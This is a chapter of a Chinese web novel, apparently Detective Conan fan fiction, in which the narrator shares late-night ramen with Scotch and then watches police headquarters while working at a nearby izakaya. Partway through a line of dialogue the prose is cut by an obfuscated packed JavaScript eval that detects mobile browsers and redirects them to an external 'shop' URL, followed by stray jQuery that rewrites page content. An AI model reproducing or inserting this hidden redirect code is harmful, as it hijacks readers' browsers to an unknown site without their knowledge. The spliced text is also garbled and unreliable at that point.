11. 与苏格兰的夜宵

作品:《冤种如我竟是威士忌的白月光

    夜色像墨汁般晕染开来,安全屋周围叮叮当当的噪音已经几乎消失不见,就连远处的车流声都变得稀疏。


    白羽响和苏格兰坐在安全屋里,已经对着一张计划书讨论了近四个小时。纸张上的标记被反复涂改,关键路线和警戒点都已敲定,窗外的天色早已彻底黑透。


    “差不多就这样吧。”


    苏格兰收起笔,指尖揉了揉眉心,语气里带着一丝不易察觉的疲惫。上一个任务没结束多久,他还没来得及休息,就投入了下一个任务的准备,眼底泛着淡淡的青色。


    白羽响点点头,再次记忆了一遍细节之后,拿出火柴,将它点燃。


    火苗舔舐着纸张的边缘,发出了滋啦滋啦的响声。红色的热浪映在了她的眼眸之中,记忆仿佛回到了仓库爆.炸的那个夜晚,高温将一切都变得扭曲,直到她的意识消失殆尽。


    “我要回去了。”


    在安静的火光中,苏格兰这样说了一句。


    白羽响回过神,将手中燃烧的纸扔在了脚下的金属盆里。


    她想起了今晚将苏格兰带来这里的初衷。


    ——银座街角那家贵得要命的拉面店就要关门了。


    ——你不是说最近会回米花町?再一起去吃一次吧。


    那天晚上,那条没得到回复的消息,对于她来说是一种遗憾。


    现在她也没法带着苏格兰去吃那家拉面店了。在她“死”后的这段时间,那家曾经让两个人都觉得“贵但还吃”的拉面店,终究没能撑下去,彻底关门了。


    “去吃点什么吧?”她发出了邀请,“这里附近有一家拉面店会开到半夜,做夜宵的生意,客人不多,比较清净。”


    今天晚上他俩都没吃晚饭,她不信苏格兰肚子不饿。


    面对这个邀请,苏格兰犹豫了一两秒,点了点头:“好。”


    两人并肩走出安全屋,沿着人行道慢慢走着。夜风吹起白羽响的长发,她下意识地将头发别到耳后,朝着那家拉面店走去。


    这是她搬来的那天偶然发现的店,就在安全屋附近。最近天热,没拉门帘,深夜路过,能闻到淡淡的面香,只是她还暂时没空去光顾。


    她与苏格兰坐下之后,看了一眼菜单,点了一碗叉烧拉面之后,又将菜单递给了苏格兰。


    他接过来,匆匆看了一眼说道:“两份一样的就好。”


    将菜单送还之后,白羽响看了看周围的环境。这里的装修有些简陋,与银座那家精致的拉面店截然不同,价格也亲民的多,也不知道味道究竟如何。


    面很快端了上来,热气腾腾的汤汁冒着白烟,叉烧的香气扑面而来。白羽响拿起筷子,夹起一筷子面条送进嘴里,刚咀嚼了两下,眉头就微微蹙了起来。


    不好吃。


    虽然闻着挺香,但面条煮得有些软烂,缺乏韧性,汤汁的咸淡也失衡,叉烧的肉质偏柴,远不及当年那家店的口感。她心里顿时涌上一股强烈的抱歉感,手里的筷子都顿了顿。


    她拉着苏格兰吃这碗面,纯粹是想替死去的自己,给那个没能等到回复的约定一个交代。


    这本是她的一种“弥补”,可是……最后却只带他吃了一碗这么难吃的面。


    想到这里,她的心头顿时不是滋味,默默搁下了筷子。


    “怎么了?”苏格兰注意到她神色的变化,也停手问了一声。


    “没什么。”白羽响扯出了一丝笑意,“好像不太美味,你不嫌弃吧?”


    苏格兰看向她碗里没动多少的面条,又低头看了看自己碗里的,拿起筷子继续吃了起来,咀嚼的动作很从容,甚至还拿起勺子喝了一口汤汁,脸上没有丝毫嫌弃的神色,反而吃得很香。


    “不会。”他说,“深夜能吃到热腾腾的面,已经很好了。”


    他似乎真的对这碗面的味道如何并不在意。


    白羽响垂下目光,在心中暗暗地叹了口气,也跟着苏格兰的动作舀了一勺汤。


    浓郁的汤汁在勺子里晃动着,映出了一盏天花板上发亮的顶灯。热气氤氲中,耳边回荡着店内清晰碗筷的声音,偶尔传来店主和店员们的闲聊声,不安静,但也有一种久违的踏实。


    在她开口与苏格兰说明真相之前,这份遗憾是无法真正弥补的。但是……此时此刻,他能坐在她的对面,吃上一碗热乎的拉面,哪怕味道不尽人意,或许也已经是最好的交代了。


    苏格兰是对的,这碗面也没有那么难吃。


    这个晚上,她跟着苏格兰一起,将这碗拉面吃得干干净净。


    任务在即,这个晚上她几乎没怎么睡,第二天醒来,她继续前往了富浦居酒屋。


    波本不会无缘无故地给她找这样的一份兼职,直到昨天苏格兰与她沟通任务的时候,她才明白了其中的原因。


    这店虽小,却占了绝佳位置,就在警视厅周围的小巷里。


    往来客人里十有八九是警员,偶尔还能撞见他们围坐一桌商讨案情,也难怪生意不算红火,却能在这条巷子里撑这么多年。


    这是个观察的好机会,她决定用工作来冲淡一下难以入眠时的忧思。


    当白羽响向富浦老板提出想要工作一整天的时候,老板的脸上露出了无比惊讶的表情。显然在他的心中,白羽响已经和三天打鱼两天晒网画上了等号。


    于是,从正式入职的这天开始,她这段时间过得很规律。


    每天早上八点半,她拿着富浦老板给的清单去食材市场采买,推着小推车路过警视厅侧门,总会放慢脚步。她会记下班警换岗的精准时间,看保洁员推着清洁车进出的固定路线,甚至摸清了侧门监控的盲区角度。这些细节都被她悄悄记在随身的小本子上。


    到了晚上,她会戴上口罩留在后厨给富浦老板打下手,偶尔也负责出去上酒菜。这家店生意不算红火,生意都集中在警员们下班了以后,甚至还能打听些情报。


    比如在这里工作的第二天,她就遇上了一桩大生意——某个警员的庆功宴。十几个人围坐在店内,点了一大桶啤酒和不少小菜。


    被人围坐在中间的是个身材魁梧的年轻男人显然是这场庆功宴的主角,他被众人称为“鸭志田”或是“英君”。


    白羽响听了一耳朵,顿时觉得“鸭志田英”这个名字似乎在哪里见过。于是她故意走出了厨房,借着给他们倒酒的功夫,竖起耳朵来听。


    旁边有人正说着:“鸭志田君独立抓捕了珠宝店抢劫犯,真是让人羡慕的功劳啊。”


    “是啊,鸭志田君刚从辖区转到搜查一课就立下了大功,可以说是前途无量啊。”有个人勾着鸭志田的肩喝酒,转头又对着身边一个长相漂亮干练的女人说道,“佐藤,我记得你们是同期吧?听说你当初的成绩数一数二,碾压了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939484|192927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所有同学。不过到了实战的时候,还是男警员更得力啊。”


    “喂喂,怎么能说这种话?美和子可是我们警队的一枝花!”


    “就是就是!说这种话我们可是要生气的!”


    被称为佐藤的女人脸上挤出礼貌的笑意,既没理会身边人话中的贬低之意,也没理会他们无聊的吹捧,只是举杯说了句:“祝贺你,鸭志田。”


    佐藤面前的桌上一杯柠檬水。


    她是整个桌子上唯一的女性,也是唯一一个没有喝酒的人。


    原来是为了破获了珠宝店抢劫案的警员而庆祝啊。


    白羽响朝着鸭志田英的身上再次投去审视的目光。她总觉得,这个人不只是名字给她一种熟悉感,似乎还在哪里见过似的。


    众人聊得很欢,但佐藤没没有积极参与众人话题的意思。


    白羽响观察着这个女人。被称为佐藤的警官漂亮而年轻,在人群中相当引人注目。她的目光看起来很坚定,应该是个很有主意的女性,光是看着她的样子,就让人觉得能力不俗。


    后续的时间,这群人就都在插科打诨、互相吹捧,再也听不到什么有用的信息。于是白羽响回到了后厨,继续自己的工作。


    这天所有的事情结束的时候已经接近晚上九点,富浦老板慢悠悠地对账,倒了一杯柠檬水坐在吧台上喝。白羽响百无聊赖,坐在他身边不远的一张桌子上,翻看着这几天的观察记录。


    每天上午十点半和下午两点,会有穿着蓝色保洁制服的人推着清洁车进出警视厅,人数大约三到四个;傍晚五点过后,警视厅的保洁人员会陆续离开,最晚的也不会超过五点半。


    两天的人员基本重合,但也有一两个有变动,她从中推测管理并不严格。


    鉴于这个情况,她猜想警视厅的清扫工作是外包给保洁公司的。这么看,混入其中的机会很大。


    等白羽响盘算完这些,富浦老板还没有要宣布下班的意思,这让白羽响皱了皱眉。时间指向了九点半,居酒屋已经将近半个小时没有生意了。


    她也是要休息和调整的,何况这个任务也给了她不小的压力。


    于是,她再次给富浦老板倒了一杯柠檬水,瞟了一眼他手中的账本,刺探一下他算完账了没。


    “有一位喜欢喝冰角瓶威士忌加苏打水的客人,每次来的时候都比别人晚。”意识到白羽响的目光后,富浦老板回过头来和她解释原因,“虽然他一个礼拜只来一到两次,但是我习惯等到这个点再下班。”


    白羽响当即点点头,表示明白了。


    和老板相熟的常客相当于半个朋友,每天多等半个小时理所当然。


    “他可是个帅哥。”富浦老板对白羽响说起这件事时,脸上的赘肉都变得生动了些,带着点揶揄,“还是那种一看就很有故事的帅哥,你一定喜欢,跟你郎才女貌的。”


    白羽响忍俊不禁。


    组织里不缺俊男美女,她见的也不少。不过能得到同性这样的表扬,想来这位熟客的长相确实不俗。


    她还挺想见见的。


    “说起来,明天晚上八点半以后我刚好有事,白羽你能独自看一个小时的店吗?”富浦老板说着笑了起来,“说不定就被你碰见了呢。”


    白羽响应了下来。


    反正最近的时间都在静默和观察,她本也闲着没事做。